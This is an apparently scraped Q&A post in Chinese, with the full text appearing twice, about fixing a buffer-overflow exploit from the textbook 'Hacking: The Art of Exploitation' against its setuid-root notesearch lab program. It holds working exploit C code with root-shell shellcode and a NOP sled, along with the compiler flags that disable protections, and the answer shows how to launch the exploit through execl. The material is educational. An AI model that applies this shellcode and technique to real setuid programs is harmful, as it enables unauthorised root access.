sh: 1: Syntax error: Unterminated quoted string -- Shellcode
sh: 1: Syntax error: Unterminated quoted string -- Shellcode
我目前正在阅读 Jon Erickson 的书 "Hacking: The Art of Exploitation, 2nd Edition",但我遇到了一个关于利用缓冲区溢出的问题。
首先,我们有一个代码 notetaker.c (https://github.com/intere/hacking/blob/master/booksrc/notetaker.c) 写入文件 /var/notes
其次,我们有一个 noteseach.c (https://github.com/intere/hacking/blob/master/booksrc/notesearch.c) 的代码,它读取文件 /var/notes.
编译使用:
gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack notesearch.c -o notesearch
sudo chown root:root notesearch
sudo chmod u+s notesearch
然后,我们有 exploit_notesearch.c 用于漏洞利用。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x51\x53\x89\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int)&i - offset; // set return address
printf("%0x\n\n", ret);
for(i=0; i <105 ; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 20); // build NOP sled
memcpy(buffer+20, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
然后,我们就有了利用代码:exploit_notesearch.c:
编译使用:
gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack exploit_notesearch.c
经过一些测试,149 是 的唯一值,我没有收到 SEGFAULT 或非法指令错误。然后我做了:./a.out 149
,我得到了这个结果:
sh: 1: Syntax error: Unterminated quoted string
所以,我检查了 array 命令的值,发现实际上,ret 变量中的一个字节有一个撇号作为表示。我该如何解决?我目前在 Linux ubuntu 4.15.0-96-generic i686 上工作。
如果需要编译文件,这里是hacking.h(https://github.com/intere/hacking/blob/master/booksrc/hacking.h)的代码
system()
不太适合该任务,因为如您所见,调用的 shell 解释命令字符串中的某些字符。更好用
execl("notesearch", "notesearch", buffer, NULL);
- 因此 notesearch
使用 buffer
中的参数执行,无需 shell 干预。
我目前正在阅读 Jon Erickson 的书 "Hacking: The Art of Exploitation, 2nd Edition",但我遇到了一个关于利用缓冲区溢出的问题。
首先,我们有一个代码 notetaker.c (https://github.com/intere/hacking/blob/master/booksrc/notetaker.c) 写入文件 /var/notes
其次,我们有一个 noteseach.c (https://github.com/intere/hacking/blob/master/booksrc/notesearch.c) 的代码,它读取文件 /var/notes.
编译使用:
gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack notesearch.c -o notesearch
sudo chown root:root notesearch
sudo chmod u+s notesearch
然后,我们有 exploit_notesearch.c 用于漏洞利用。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
"\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
"\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x51\x53\x89\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int)&i - offset; // set return address
printf("%0x\n\n", ret);
for(i=0; i <105 ; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 20); // build NOP sled
memcpy(buffer+20, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
然后,我们就有了利用代码:exploit_notesearch.c: 编译使用:
gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack exploit_notesearch.c
经过一些测试,149 是 的唯一值,我没有收到 SEGFAULT 或非法指令错误。然后我做了:./a.out 149
,我得到了这个结果:
sh: 1: Syntax error: Unterminated quoted string
所以,我检查了 array 命令的值,发现实际上,ret 变量中的一个字节有一个撇号作为表示。我该如何解决?我目前在 Linux ubuntu 4.15.0-96-generic i686 上工作。
如果需要编译文件,这里是hacking.h(https://github.com/intere/hacking/blob/master/booksrc/hacking.h)的代码
system()
不太适合该任务,因为如您所见,调用的 shell 解释命令字符串中的某些字符。更好用
execl("notesearch", "notesearch", buffer, NULL);
- 因此 notesearch
使用 buffer
中的参数执行,无需 shell 干预。